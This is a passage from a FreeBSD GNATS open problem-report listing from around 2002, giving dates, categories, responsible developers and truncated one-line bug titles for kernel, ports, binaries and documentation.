Update] Filtering-Bridges Art o [2002/02/28] ports/35432 knu sysutils/portupgrade: portsclean does not o [2002/02/28] ports/35434 ports Apache 1.3.23 + mod_ssl 2.8.7 and PHP 4.1 o [2002/02/28] kern/35442 Problem transmitting runts in if_sis driv o [2002/03/01] alpha/35455 alpha Unable to compile ISA NIC devices into ke o [2002/03/01] kern/35461 trap 12 when booting with Maxtor 160G dis o [2002/03/02] kern/35482 dc driver uses wrong case to read MAC fro o [2002/03/03] misc/35506 innetgr() doesn't match wildcard fields i o [2002/03/03] kern/35511 sis(4) multicast filtering doesn't pass s o [2002/03/03] ports/35515 steve open-motif-2.1.30_2 installation deletes o [2002/03/03] ports/35517 ports New port: MySQL 4.0 o [2002/03/03] ports/35519 ports kdepim port doesn't know that malloc.h is o [2002/03/04] ports/35528 ports graphics/ImageMagick: checksum mismatch o [2002/03/04] ports/35529 ports x11-wm/fluxbox: patches should be removed o [2002/03/04] ports/35536 dougb pine5 port build (a) broken (b) doesn't f o [2002/03/04] ports/35537 gnome gtk-1.3.13_1 won't build with new glib or o [2002/03/04] bin/35538 ssh can hang waiting for EOF on stdin 856 problems total. Non-critical problems S Submitted Tracker Resp. Description ------------------------------------------------------------------------------- f [1995/01/11] i386/105 Distributed libm (msun) has non-standard s [1995/09/26] kern/742 syslog errors accessing Mac hard disks [p s [1995/11/20] kern/831 one minor complaint about the kernel visu a [1996/01/30] bin/981 fenner clnt_broadcast() is not aware of aliases a [1996/07/07] bin/1375 eivind Extraneous warning from mv(1) [PATCH] s [1996/10/13] misc/1791 tegge syslimits.h does not allow overriding def f [1996/10/20] bin/1849 gdb sets library breakpoints on the wrong s [1996/11/22] bin/2090 clients may bind to FreeBSD ypserv refusi s [1996/12/02] bin/2137 tegge vm statistics are bad s [1996/12/14] bin/2216 [PATCH] Ada specs not being compiled into o [1996/12/24] kern/2273 dufault support for POSIX.4 / POSIX.1a RT-schedul s [1996/12/27] kern/2298 Support for DSR/DCD swapping on serial po a [1996/12/27] misc/2302 brandon new crypt() including SHS and an extendab o [1997/01/10] bin/2442 davidn setusershell()/endusershell() missing o [1997/01/28] bin/2603 dufault Added POSIX.4/POSIX.1b constants in unist a [1997/02/02] bin/2641 wpaul login_access.c doesn't work with NIS by d s [1997/02/15] misc/2745 fenner PR querry web form doesn't sort correctly o [1997/03/10] bin/2934 cracauer sh(1) has problems with $ENV s [1997/03/10] bin/2938 hoek Add -b, -l, and -f options to du(1) f [1997/04/07] bin/3221 rpc.rusersd : can't communicate with SunO f [1997/04/07] ports/3225 dinoex [PATCH] uucpd.c should normalize host nam o [1997/04/14] bin/3284 mikeh [PATCH] symorder(1): -t option doesn´t wo a [1997/05/08] gnu/3552 the -L option of tar does not work proper f [1997/05/16] bin/3608 jkoshy Telnet in linemode will break apart long o [1997/06/02] bin/3762 dufault Bogus return values from rtprio(1) f [1997/06/10] bin/3837 dufault new feature for rtprio o [1997/06/24] kern/3944 paul if_le doesnt receive ether multicast pack o [1997/06/25] kern/3948 jlemon nonworking t/tcp server side o [1997/07/18] bin/4116 davidn Kerberized login as .root fails to s [1997/07/26] bin/4172 des suggest reconnection option added to fetc s [1997/07/28] kern/4184 [PATCH] minor nits in sys/netatalk f [1997/08/07] kern/4243 file locking doesn't work for pipe o [1997/08/08] misc/4249 wpaul ypchsh doesn't care about changing a user o [1997/08/13] kern/4297 dufault SIGEV_NONE and SIGEV_SIGNAL go in signal. o [1997/08/13] i386/4300 msmith The initial timeout on open("/dev/lpt0".. o [1997/08/14] ports/4304 portmgr Recommendation re. Ports Collection o [1997/08/29] kern/4413 No way to unmount a floppy that goes bad o [1997/08/29] bin/4419 man can display the same man page twice o [1997/08/29] bin/4420 roberto find -exedir doesn't chdir for first entr o [1997/09/03] bin/4459 bde No prototype for moncontrol(3) and monsta f [1997/09/13] kern/4528 processes hang if the mount_portal proces o [1997/09/25] bin/4629 calendar doesn't print all dates sometime o [1997/09/28] misc/4646 qa Can't fixit with an NFS-mounted CD. o [1997/10/05] bin/4696 ping hangs on certain unresolvable hosts o [1997/10/15] gnu/4771 diff to correct misleading total bytes in o [1997/10/24] kern/4845 Boot complains about disk slices in FAT p f [1997/11/08] bin/4975 quotaon while server very busy causes loc o [1997/11/13] bin/5031 gad lpr does not remove original file if -s i s [1997/11/28] bin/5173 [PATCH] restore ought to deal with root s s [1997/11/30] i386/5182 bde [PATCH] A patch support high speed serial s [1997/12/14] bin/5296 slattach fails creating pidfile with ioct o [1997/12/22] kern/5362 peter mount incorrectly reports / as an NFS exp s [1998/01/03] bin/5419 [PATCH] timed rejects valid networks with o [1998/01/11] bin/5483 Login(1) clears utmp entry s [1998/01/20] kern/5532 [PATCH] Dropped packet counts are inaccur o [1998/01/26] kern/5577 bde Unnecessary disk I/O and noatime ffs fixe a [1998/01/28] bin/5591 jkoshy Trouble with LD_PRELOAD environment varia o [1998/01/31] bin/5609 gad lpd cannot send long files to HP's JetDir o [1998/02/09] kern/5689 phk sysctl vm.vmmeter - bogus and unsupported o [1998/02/10] bin/5712 mikeh /bin/chio code cleaup and option added o [1998/02/14] bin/5745 nik [PATCH] Add /usr/local/share/mk to defaul o [1998/02/26] kern/5863 Kernel support for sorted SHUTDOWN & SHUT a [1998/03/06] i386/5932 perfmon kernel code should check for non- o [1998/03/11] gnu/5982 no error exit code from tar on child fail f [1998/03/28] bin/6161 assar 2.2.6 kerberos servers are awfully visibl f [1998/03/31] bin/6183 quota hangups a [1998/03/31] kern/6184 No error if resulting file pos in lseek i a [1998/04/16] misc/6320 mike Sometimes nohup isn't good enough. o [1998/04/17] gnu/6338 Gnu tar not working properly with the -G o [1998/04/18] conf/6346 joe Kernel version strings need to relate to f [1998/05/11] i386/6595 Old IP address persistent after change f [1998/05/12] misc/6612 bsd.man.mk can't handle man pages with ": o [1998/05/13] conf/6624 davidn One class with nologin=/etc/nologin: reje s [1998/05/17] kern/6668 babkin [PATCH] new driver: Virtual Ethernet driv s [1998/05/29] bin/6785 place for all the default dump flags s [1998/06/01] kern/6820 jesper cd9660_mount NULL pointer deref for no CD f [1998/06/06] kern/6874 accounting prevents transition to multi u o [1998/06/22] bin/7023 portmgr bsd.port.(%|subdir.).mk patches for size s [1998/06/24] kern/7044 [PATCH] WaveLAN (2.4G, ISA, full-length b s [1998/06/28] i386/7100 integrate pcvt configuration into the /et s [1998/07/01] bin/7136 kerberized telnetd doesn't use gettytab % f [1998/07/08] kern/7210 [PATCH] od(4) bug fixes and enhancements, s [1998/07/10] misc/7232 qa Suggestion for FreeBSD installation dialo o [1998/07/10] kern/7234 yokota keyboard problems during login immediatel o [1998/07/12] bin/7265 A warning flag is added to ln(1). f [1998/07/15] bin/7287 Incorrect domain name for MAP_UPDATE in m a [1998/07/19] bin/7324 Suggestions for minor modifications to ad s [1998/08/13] conf/7606 [PATCH] NIS Makefile.dist: NOPUSH replace s [1998/08/18] bin/7669 libalias does not IRC DCC packets under c o [1998/08/19] gnu/7687 description of default baud rate for cu c s [1998/08/22] kern/7722 Changes to acct format o [1998/09/03] bin/7828 Add a command line option to cp to make i o [1998/09/08] bin/7860 gad Extra option to pr(1). s [1998/09/08] bin/7868 [almost patch]Morse Code Fixups o [1998/09/16] misc/7946 asami ccdconfig gives confusing error when give o [1998/09/18] bin/7973 gad lpd: Bad control file owner in case of re s [1998/09/21] kern/8015 nbm [patch] Some sysctl descriptions for the o [1998/09/27] ports/8063 portmgr [PATCH] Add multiple CDROM support to bsd o [1998/10/03] misc/8133 markm [patch] bug in telnetd (Kerberos IV) f [1998/10/12] bin/8295 order of options in printcap causes some f [1998/10/16] kern/8349 [PATCH] Changer definition for SureStore o [1998/10/19] kern/8376 CLOCK_VIRTUAL not implemented o [1998/10/27] i386/8474 repquota does not pick up NIS information a [1998/10/28] bin/8479 dd Final \'s in /etc/exports did not work in f [1998/10/30] kern/8498 dwmalone Race condition between unp_gc() and accep o [1998/11/03] bin/8553 /usr/libexec/mail.local doesn't handle "> f [1998/11/08] kern/8604 ps u gets confused about process start ti o [1998/11/27] i386/8867 qa /stand/sysinstall core dumps (signal 11) o [1998/12/16] ports/9107 portmgr Addition to bsd.port.mk for searching mul a [1998/12/18] bin/9123 kris pax can't read tar archives that contain f [1998/12/28] misc/9220 ache nvi: catalog: mistake in Russian error me o [1998/12/29] bin/9233 gmp's mpq_add and mpq_sub are buggy o [1999/01/04] bin/9318 vgrind(1): no JAVA support a [1999/01/05] bin/9333 jkoshy timestamp dump's progress f [1999/01/08] kern/9392 Alternate system clock OR kernel stats cl o [1999/01/19] kern/9570 dfr ed(4) irq config enhancement o [1999/01/22] kern/9619 Restarting mountd kills existing mounts f [1999/01/25] kern/9679 fix for uninterruptible open in portal fi f [1999/01/26] bin/9711 Fails: cd /usr/bin; gzip file ; mv file. f [1999/01/28] kern/9748 error in queue handling of at_shutdown() a [1999/01/28] bin/9770 kris An openpty(3) auxiliary program o [1999/01/29] i386/9777 cg Generic AD1816 sound suport in Luigi's pc o [1999/01/31] ports/9840 portmgr patch allows ports to fetch their sources o [1999/02/01] bin/9868 Patch to add "date -a" o [1999/02/01] kern/9869 When using macros out of function, they s o [1999/02/01] conf/9874 idle-timeout facilities in /etc/login.con o [1999/02/09] i386/9991 new driver for National Instruments GPIB o [1999/02/11] bin/10030 markm Kerberized telnet fails to encrypt when a o [1999/02/25] docs/10240 wosch We need a script which check if our web m f [1999/02/26] bin/10283 Race condition in rc.network o [1999/03/02] bin/10358 yar ftp(1) has problems with long pathnames f [1999/03/05] ports/10396 asami SPIN is in the wrong category f [1999/03/07] i386/10465 mdodd Must disable ex0 to install. o [1999/03/15] i386/10608 add Opti Viper-M PCI ID f [1999/03/15] kern/10609 adjtime bug (tv_sec > 2147) and enhanceme o [1999/03/15] bin/10611 timed enhancement o [1999/03/17] kern/10641 groudier Default sync rate in ncr SCSI driver is s o [1999/03/19] gnu/10670 cvs doesn't allow digits in local keyword o [1999/03/19] kern/10673 wpaul Non-ASCII chars on serial console with Re o [1999/03/19] ports/10682 portmgr List mirror sites in MASTER_SITE_BACKUP - o [1999/04/03] bin/10931 biff b o [1999/04/05] ports/10965 ports lcc-3.6 unable to compile anything o [1999/04/08] kern/11020 popen does not honor ISO 9899 syntax o [1999/04/08] bin/11036 markm Perl does not honor -DNOMAN o [1999/04/10] conf/11058 Recent change to rc script causes hang on o [1999/04/11] bin/11085 Per-host configuration for syslog.conf o [1999/04/11] bin/11092 readlink(1) from OpenBSD o [1999/04/13] bin/11114 make(1) does not work as documented with o [1999/04/14] ports/11134 hoek existense of /usr/obj/usr/ports/shells/ba o [1999/04/16] i386/11165 IBCS2 don't work correctly with PID_MAX 9 a [1999/04/16] bin/11168 davidn pw(8) usermod does not recognize -w flag f [1999/04/20] bin/11236 mountd fails to properly check for kernel o [1999/04/20] bin/11248 Shuffle o [1999/04/23] kern/11293 brian FreeBSD's PPP implementation of LQM appea o [1999/04/23] bin/11294 direct logging to other hosts (no local s o [1999/05/06] misc/11553 /usr/share/misc/latin1 (new file submissi o [1999/05/19] kern/11789 obrien ELF machine definition missing for ARM o [1999/05/28] bin/11914 wosch makewhatis during installworld uses /usr/ o [1999/05/29] bin/11929 symorder doesn't work on elf format objec f [1999/05/30] kern/11945 mjacob tape problems on -stable, mt bl(ocksize), f [1999/05/31] kern/11968 kldload should call module entry point be f [1999/06/01] i386/11979 Vaio 505DX touchpad not detected as Glide o [1999/06/03] kern/12014 alfred Fix SysV Semaphore handling o [1999/06/06] gnu/12046 markm Perl subsystem does not install all tutor o [1999/06/07] kern/12071 [PATCH] large scale IP aliasing o [1999/06/08] i386/12088 Enhancement to ed driver for Linksys 10/1 o [1999/06/16] bin/12244 realpath() fails when there is no permiss o [1999/06/18] bin/12280 jdp LD_IGNORE_MISSING_OBJECTS not honored for f [1999/06/18] kern/12281 active-filter option in pppd doesn't stop o [1999/06/21] conf/12324 qa Sysinstall's fdisk partition editor is mi o [1999/06/21] ports/12325 portmgr Adds refetch functionallity to bsd.port.m s [1999/06/23] bin/12358 ken Patch: "camcontrol help" should go to std f [1999/06/24] i386/12383 make release warns about /dev entries mak o [1999/06/26] bin/12398 fsck in free(): warning: pointer to wrong o [1999/06/28] conf/12432 dougb empty amd_flags causes start failure in r o [1999/07/06] kern/12543 dg [PATCH] cumulative error counters for fxp o [1999/07/07] bin/12545 peter kldload(8) should be more sensitive to er o [1999/07/08] ports/12566 billf a guide to pyrotechnics o [1999/07/20] kern/12723 des Unnecessary use of magic numbers in F_[SG o [1999/07/25] bin/12801 nvi infinite recursion with options "left o [1999/08/03] bin/12939 add flag to quota to suppress NFS quota c o [1999/08/04] ports/12952 portmgr make _PORT_USE touch cookies by variable, f [1999/08/04] kern/12966 wpaul receiver lockups in vr0 driver f [1999/08/05] i386/12993 gibbs "ahc0: Data Parity Error Detected during o [1999/08/09] bin/13042 make doesn't handle wildcards in subdirec o [1999/08/09] bin/13043 minigzip -c option support. f [1999/08/10] kern/13062 lnc ethernet xmit underflow problem o [1999/08/11] bin/13068 billf Don't stamp out score files! o [1999/08/11] bin/13072 billf Extensions to biff(1) o [1999/08/11] bin/13073 billf Extensions to mesg(1) o [1999/08/12] bin/13108 authunix_create_default includes egid twi o [1999/08/13] bin/13128 billf pkg_delete doesn't handle absolute pathna o [1999/08/15] kern/13161 alfred mounting on top of a mounted file system f [1999/08/18] kern/13232 panic("rtfree"); when sending bootp reque o [1999/08/21] bin/13309 billf Fixes to nos-tun o [1999/08/22] misc/13326 additional timeval interfaces for ' cannot be used in "via" o [2000/05/30] kern/18909 dwmalone select(2) timeout limited to 100000000 se o [2000/06/01] ports/18960 portmgr Add USE_APACHE to bsd.port.mk for Apache o [2000/06/01] bin/18961 green sshd does not print before motd o [2000/06/03] bin/18992 brian log packets blocked by filter rules o [2000/06/03] misc/18997 markm Kerberos5 CFLAGS needed f [2000/06/04] conf/19001 Delayed fsck + mount of insignificant fil o [2000/06/06] ports/19051 asami New target for bsd.port.mk : fetchdepends f [2000/06/06] bin/19057 offer of patch to uname that produces pre o [2000/06/07] ports/19112 portmgr files with names something,v in patches d o [2000/06/09] kern/19156 jkh Enable the doFS.sh to run in arbitrary lo o [2000/06/11] kern/19213 SC_DFLT_FONT compile option breaks kernel f [2000/06/13] conf/19236 sanpei not-existing PCMCI cards in pccard.conf.s o [2000/06/13] bin/19239 login allows users to login remotely with o [2000/06/13] misc/19246 portmgr Poor error message when fetching files wi o [2000/06/13] ports/19253 dirk mod_php4 has pkg dependency when not usin o [2000/06/14] ports/19270 portmgr Ports build mechanism doesn't check wheth o [2000/06/15] gnu/19327 Fix to build 'a.out' binary. o [2000/06/19] misc/19391 emulationEvilness with Linux Terminus, causes X to o [2000/06/20] bin/19404 /usr/bin/error should be included in the o [2000/06/20] misc/19406 setenv() allocates memory which is not fr a [2000/06/21] bin/19422 mikeh users can overflow argv to make ps segfau o [2000/06/22] ports/19448 markm filename input broken o [2000/06/23] misc/19467 green OpenSSH (as an rsync tunnel) blocks forev o [2000/06/24] kern/19490 faith0 network device has high number of o [2000/06/26] kern/19535 adrian procfs_rlimit tidyup s [2000/06/28] conf/19573 des Dot Files for Optional Shells o [2000/06/29] ports/19591 ports ssh2 port ignores 'ignorenologin' from lo o [2000/06/30] ports/19594 trevor update port: qrash o [2000/07/01] bin/19635 add -c for grand total to df(1), like du( o [2000/07/02] gnu/19642 kbyanc patch to merge OpenBSD changes to patch(1 o [2000/07/02] ports/19650 asami python package causes segmentation fault o [2000/07/03] bin/19683 green mount displays incorrect mount point on f a [2000/07/03] kern/19686 yokota splash screen fails o [2000/07/05] kern/19720 kbyanc more sysctl signed-ness patches o [2000/07/06] gnu/19733 mp GDB 4.18 is not GDB 4.18 o [2000/07/07] kern/19756 Inability to use linux extended partition o [2000/07/07] bin/19772 df output wrong for union-mounts o [2000/07/08] kern/19782 dirk mkisofs 1.12.1 (i386-unknown-freebsd4.0) f [2000/07/09] misc/19798 cg 4DWAVE doesn't work. o [2000/07/10] kern/19827 yokota psm flag bit9(NOIDPROBE) doesn't work cor o [2000/07/10] misc/19837 ambrisko Run Fit it floppy from serial port o [2000/07/12] ports/19868 portmgr modify ports/Mk/bsd.port.mk to remove ALL o [2000/07/12] kern/19871 alfred select on named pipes always returns 'ava o [2000/07/14] kern/19913 des add SYN+FIN counter o [2000/07/15] kern/19966 new syscons screensaver o [2000/07/18] gnu/20004 FBSD4 gcc __attribute__(constructor) not o [2000/07/18] misc/20024 jake [PATCH] queue(3) concatenation macros o [2000/07/19] bin/20042 "rsh -t" doesn't timeout if rcmd(3) never o [2000/07/20] bin/20054 ftpd: rotating _PATH_FTPDSTATFILE losts x o [2000/07/23] docs/20121 jim Better user ppp documentation in man page o [2000/07/24] misc/20139 msmith Simple typo in src/share/examples/ppi/ppi o [2000/07/24] ports/20145 dburr improving the devel/SN port o [2000/07/24] misc/20159 strftime() can't produce ISO8601 format t o [2000/07/24] misc/20166 billf Corrections & additions to games/quiz/dat o [2000/07/26] bin/20204 ps more doesn't handle 8-bit characters prop o [2000/07/27] kern/20214 dec kernel routing bug for nexthop is routed o [2000/07/28] misc/20254 jhb BTX loader 1.00 can not recognize floppy o [2000/07/28] ports/20270 reg libtool needlessly runs ldconfig after in o [2000/07/29] kern/20297 cg Joystick is not enabled with es1370 based o [2000/07/31] misc/20326 marcel [PATCH] installkernel fails if DESTDIR is o [2000/07/31] misc/20333 ftp login fails on unix password when s/k o [2000/08/01] kern/20352 yokota Configuring a synaptics touchpad o [2000/08/02] ports/20359 demon New port: Apache-mod_perl_guide o [2000/08/02] bin/20371 dhclient inserts bogus configurations o [2000/08/03] kern/20384 n_hibma Phase errors with Zip650 CD on USB o [2000/08/03] kern/20389 ken "device pass" required for CD ripping o [2000/08/03] bin/20391 jhb sysinstall should check debug.boothowto s a [2000/08/03] kern/20393 silby processes get stuck in vmwait instead of o [2000/08/04] kern/20410 sio support for high speed NS16550A, ST16 o [2000/08/05] conf/20436 Can't make only cd0 under 4.1-STABLE o [2000/08/07] misc/20457 davidn pw command doesn't generate random passwo o [2000/08/09] ports/20499 obrien [PATCH] conserver port doesn't like MD5 c o [2000/08/09] bin/20501 mjacob extra flag to dump to offline autoloaders a [2000/08/10] ports/20520 olgeni New port: lang/mercury o [2000/08/10] docs/20528 doc sysconf(3) manpage doesn't mention posix. s [2000/08/10] kern/20529 billf gigabit cards fail to link o [2000/08/11] i386/20537 msmith HP NetRAID controller error when rebootin a [2000/08/14] ports/20601 ports DESTDIR and /etc/shells a [2000/08/14] ports/20610 patrick New port of cgoban2 o [2000/08/15] bin/20613 des fetch -T n is not timeout correctly when o [2000/08/16] i386/20660 wpaul if_wi provides 802.11 src and dst, not et o [2000/08/17] ports/20678 portmgr make SORTED_MASTER_SITES_CMD variable ove o [2000/08/21] bin/20742 ps Weird problem with 'more' on 4-1-STABLE s [2000/08/22] conf/20774 dougb 'NFS access cache time=2' is not a daemon o [2000/08/23] ports/20795 msmith FBSD 4.x: Citrix client with drive mappin o [2000/08/23] bin/20799 davidn top's problem o [2000/08/23] i386/20803 mdodd ep0 driver finds additional "shadow" ep c o [2000/08/23] kern/20804 deadlocking when using vnode disk file an o [2000/08/24] bin/20824 ftpd returns, "ad0s1a: not a plain file." o [2000/08/24] misc/20830 lile kernel link problems with Olicom token ri o [2000/08/25] i386/20845 Cyclades cy driver incompatible with Cycl o [2000/08/26] kern/20878 wpaul Patch to add support for the 3c556B MiniP o [2000/08/26] bin/20881 kris There's no reason not to build DNSsec-DSA o [2000/08/27] bin/20889 dwmalone syslogd.c still uses depreciated domain A o [2000/08/28] bin/20908 qa /stand/sysinstall too limited in selectio o [2000/08/29] misc/20920 yokota window(1) interferes with screensaver o [2000/08/29] kern/20927 ume dmesg output: looutput: mbuf allocation f o [2000/08/30] bin/20944 ru natd enhancements, default config file an o [2000/09/02] bin/20996 kris permissions on /usr/bin/opiepasswd o [2000/09/02] bin/21008 gad Fix for lpr's handling of lots of jobs in o [2000/09/04] bin/21024 pow() ERANGE bug o [2000/09/05] conf/21059 marcel `make -jN buildkernel' can't keep source o [2000/09/05] conf/21066 Proposed change in rc scripts o [2000/09/05] misc/21070 marcel default setting of ${SUP} in Makefile.inc o [2000/09/06] bin/21074 davidn chkgrp vs group(5) inconsistency f [2000/09/06] bin/21075 dwmalone top: can't allocate sufficient memory o [2000/09/06] bin/21080 mjacob dump doesn't use eject tape device correc o [2000/09/09] bin/21142 [PATCH] avoid errors from "make objlink" o [2000/09/09] kern/21156 yokota [PATCH] inconsistency in scmouse vs xterm s [2000/09/10] bin/21178 ken voltag selector, and unload support for c o [2000/09/12] kern/21222 dillon wrong behavior of concurrent mmap()s on N o [2000/09/12] kern/21229 Proper value for vfs.nfs.access_cache_tim o [2000/09/16] bin/21312 more incorrectly redraws screen on xterm f [2000/09/16] ports/21313 mbr vmwarIPv6 and vmware2 panic: Fatal trap 1 o [2000/09/16] bin/21315 Shells often behave oddly when executing o [2000/09/22] misc/21494 yar ftpd can't handle /etc/chroot entries wit o [2000/09/24] bin/21519 sys/dir.h should be deprecated some more o [2000/09/24] bin/21531 csh/tcsh provide no way to see/adjust new f [2000/09/26] bin/21570 dougb [PATCH] Add -r option to /usr/bin/mail, q o [2000/09/28] ports/21621 portmgr Update port: devel/libtool to 1.3.5 f [2000/09/28] kern/21623 wpaul Chipset SiS630E / NIC SiS 900 o [2000/09/29] misc/21644 /usr/include/sys/mman.h uses a type defin s [2000/09/30] bin/21659 Berkeley db library is statically compile o [2000/10/01] i386/21672 obrien AMD Duron Rev. A0 reports incorrect L2 ca o [2000/10/01] misc/21675 Better and more disktab entries for MO dr o [2000/10/02] conf/21695 ifconfig_XXX_aliasY in rc.conf; Y must be o [2000/10/02] misc/21715 The freebsd mail list digifier loses MIME o [2000/10/02] ports/21719 nbm New Port: Courier Mail Suite o [2000/10/04] bin/21751 ken libcam's cam_real_open_device() may lose o [2000/10/04] kern/21754 n_hibma Sound stops working when NetGear USB Devi o [2000/10/05] ports/21765 portmgr I cat't make ports using pw_gid) != typeof(group->g o [2000/10/26] conf/22308 mounting NFS during boot blocks if host m o [2000/10/26] misc/22332 request to add vtys to /etc/ttys o [2000/10/27] bin/22351 sed(1) fails with backslash on buffer bou o [2000/10/29] ports/22399 msmith PIB 1.2 still looks for MD5 info in files o [2000/10/30] ports/22412 taoka two extraneous ports and one name change f [2000/10/30] misc/22434 problem with certain NIC's using rl on au o [2000/10/31] bin/22442 greid [PATCH] Increase speed of split(1) s [2000/11/01] docs/22470 doc man 3 msgrcv's BUGS section needs updatin o [2000/11/02] ports/22550 obrien Patch for conserver for log file rotation o [2000/11/04] kern/22602 CDRoms checked during shutdown (umount) o [2000/11/04] bin/22612 crontab -e failures o [2000/11/06] conf/22645 Cannot override "ignore" in /etc/mail.rc o [2000/11/07] misc/22660 termcap kterm entry tc=xterm is wrong a [2000/11/08] misc/22696 luigi picobsd build with router configuration c o [2000/11/08] ports/22698 portmgr Ports' rc.d files should use rc.conf o [2000/11/09] bin/22730 fenner tcpslice doesn't handle long file offsets f [2000/11/14] conf/22859 darrenr rc.network should start ipf/ipnat AFTER p o [2000/11/14] bin/22860 yar [PATCH] adduser & friends with '$' in use o [2000/11/14] docs/22861 dd newsyslog man page is misleading and inco o [2000/11/15] kern/22868 getsockname may return an incorrect addre o [2000/11/15] misc/22873 markm Perl's core'h conflicts with ncurses.h o [2000/11/16] i386/22900 patch: Adds Brand ID support to src/sys/i o [2000/11/17] misc/22914 bootinst messages are not updated s [2000/11/17] conf/22916 green Ssh/sshd binaries lacks kerberos support o [2000/11/17] bin/22933 green Typographical error in ssh.1 f [2000/11/20] ports/22995 grog Update port: x11-servers/x2x (fix ports/2 o [2000/11/23] conf/23063 ru [PATCH] for static ARP tables in rc.netwo o [2000/11/24] bin/23082 dwmalone ntpd has only one reference-clock parser o [2000/11/25] bin/23097 Enhance WEP some more including ability t o [2000/11/27] misc/23148 getopt(3) works non-intuitively? o [2000/11/29] bin/23178 'talk' not doing right thing o [2000/11/29] bin/23180 Certain KOI8 characters are treated as "w o [2000/12/01] bin/23204 length of salt in crypt() is not the same a [2000/12/02] ports/23232 ports gettext/xview port collision o [2000/12/02] bin/23233 kris Reincorporate /usr/bin/error in the FreeB a [2000/12/03] bin/23254 fenner yacc accepts bad grammer o [2000/12/04] ports/23287 portmgr allow system-local patches for ports o [2000/12/05] kern/23304 POSIX clock_gettime, clock_getres return f [2000/12/05] kern/23314 aic driver fails to detect Adaptec 1520B f [2000/12/07] misc/23362 fenner tcpdump wrong on sppp CISCO_HDLC encoded o [2000/12/07] misc/23366 mmap() non conforming o [2000/12/07] gnu/23367 some src/gnu Makefiles are missing $FreeB o [2000/12/09] conf/23402 sysinstall upgrade ought to check partiti o [2000/12/11] bin/23472 mp gdb weirdness on programs compiled with - a [2000/12/12] ports/23499 ports [NEW PORT]: Two LaTeX macro package ports o [2000/12/13] kern/23520 sb0 old style audio support in 4.2-RELEAS o [2000/12/13] misc/23539 marcel make installworld from nfs mounted /usr/s o [2000/12/14] kern/23546 tanimura [PATCH] csa DMA-interrupt problem o [2000/12/14] ports/23560 portmgr linux-jdk/Makefile assumes default `patch o [2000/12/15] i386/23562 telnetd doesn't show message in file spec o [2000/12/15] ports/23581 portmgr Updates to bsd.port.mk to detect changing o [2000/12/17] gnu/23598 Merge libgcc_r with libgcc o [2000/12/17] ports/23602 portmgr Recursive distclean for bsd.port.mk w/pat o [2000/12/18] bin/23635 mike [PATCH] whois enhancement - smarter whois f [2000/12/20] kern/23692 GENERIC kernel config on 4.2 changes defa o [2000/12/22] misc/23766 /etc/periodic/daily/440.status-mailq does o [2000/12/24] kern/23814 .au sound files < 528 bytes actual data d o [2000/12/24] ports/23822 ports mtree entries for German X11 man pages a [2000/12/28] bin/23912 sheldonh underflow of cnt in vs_paint() by O_NUMBE o [2000/12/29] bin/23944 Patch for ftpd to add a cd after the chro o [2001/01/04] bin/24066 mp gdb can't detach from programs linked wit o [2001/01/06] ports/24120 portmgr "/usr/ports/Mk/bsd.port.mk", line 626: In o [2001/01/07] misc/24132 mp gdb output is wrong (same as #13427 ?) o [2001/01/07] kern/24141 sound emu10k1 has trouble playing non-44.1KHz s o [2001/01/10] ports/24214 portmgr [PATCH] verbose 'make index' o [2001/01/11] ports/24259 steve port of open-motif on make install compla o [2001/01/12] ports/24292 portmgr update-patches target in ports/Mk/bsd.por o [2001/01/12] ports/24299 ports Configure the synaptics touchpad. a [2001/01/14] misc/24324 phantom Greek console support o [2001/01/15] ports/24361 asami wrong filemodes o [2001/01/16] misc/24384 4.1 Cant add entry to neighbour discovery o [2001/01/16] bin/24390 Replacing old dir-symlinks when using /bi o [2001/01/16] kern/24393 Patch to msdosfs to handle a kind of inco o [2001/01/18] bin/24435 Changing slice type causes Auto-partition o [2001/01/20] bin/24485 [PATCH] to make cron(8) handle clock jump o [2001/01/20] ports/24493 msmith Pib maker function unable to launch xterm a [2001/01/21] kern/24512 jesper Sent ICMP unreach when packet not for us o [2001/01/21] misc/24513 peter new options for pppd o [2001/01/21] conf/24515 Fix for find(1) warning in /etc/rc o [2001/01/21] bin/24521 green ssh-agent exits when authenticating DSA v o [2001/01/22] kern/24528 Bad tracking of Modem status o [2001/01/23] bin/24592 cjc dmesg.boot Gets Overwritten without Reboo o [2001/01/25] ports/24651 mharo portlint gives a bogus warning o [2001/01/26] ports/24658 jkh Enhancement to src/release/Makefile a [2001/01/26] ports/24660 ports New port: Xerces-C 1.3.0 o [2001/01/26] alpha/24663 alpha Console output gets scribbled into /var/l o [2001/01/27] gnu/24681 gcc 2.95.3 cannot compile rince.c from IO o [2001/01/27] ports/24687 ports QUAKE FORGE & SVGALIB a [2001/01/30] ports/24736 ports New port: SGI's open inventor (graphics/i o [2001/01/30] bin/24742 send adduser.message before dirs are crea o [2001/01/30] ports/24743 chuckr a2ps port installs files in / o [2001/01/30] misc/24746 green SSH terminal hangs on large paste of data o [2001/01/30] ports/24749 dirk mysql323-server pkg-install script doesn' o [2001/01/31] bin/24757 ftpd not RFC compliant o [2001/02/01] docs/24786 doc missing FILES descriptions in sa(4) o [2001/02/02] docs/24797 phk when using MALLOC_DEFINE sys/param.h and o [2001/02/03] kern/24827 yokota Erratic Intellimouse Explorer in 4.1 and o [2001/02/03] bin/24828 [PATCH] ntpd compilation and additional r f [2001/02/04] gnu/24844 gdb does not support Linux threads a [2001/02/05] docs/24869 keramida Some text elf.5 is duplicated o [2001/02/05] kern/24882 ktrace not syncing .out file before panic o [2001/02/06] kern/24900 Server logs:indfcntl(8, F_SETFL, 4): Inap o [2001/02/06] kern/24902 IPC Message Queue number to big o [2001/02/06] misc/24907 qa Options screen at MenuMedia menu problem o [2001/02/07] ports/24940 demon prolem with Tnm::icmp echo command due to o [2001/02/08] bin/24953 green adduser ignores passwd_format in login.co o [2001/02/08] kern/24959 jesper proper TCP_NOPUSH/TCP_CORK compatibility o [2001/02/08] i386/24963 perfmon(4) doesn't work on SMP systems o [2001/02/09] ports/24983 asami Emacs ports have misleading names o [2001/02/10] ports/24987 nbm New port: Courier mail server. o [2001/02/11] bin/25012 tar(1) as root does not preserve ownershi o [2001/02/11] bin/25013 mv(1) cannot move unresolvable symlinks a o [2001/02/11] bin/25015 cp: options -i and -f do not work as docu a [2001/02/11] docs/25016 ru symlink(7) manpage says symlinks have no o [2001/02/11] bin/25017 cp -pRP does not preserve symlink ownersh o [2001/02/11] kern/25018 lstat(2) returns bogus permissions on sym o [2001/02/12] ports/25031 ache www/apache: dbmmanage fails verifying md5 o [2001/02/13] bin/25059 des dlopen(..,RTLD_GLOBAL) doesn't work for s o [2001/02/13] bin/25070 newsyslog(8) should send signals only onc o [2001/02/13] bin/25085 msmith mlxcontrol utility fails 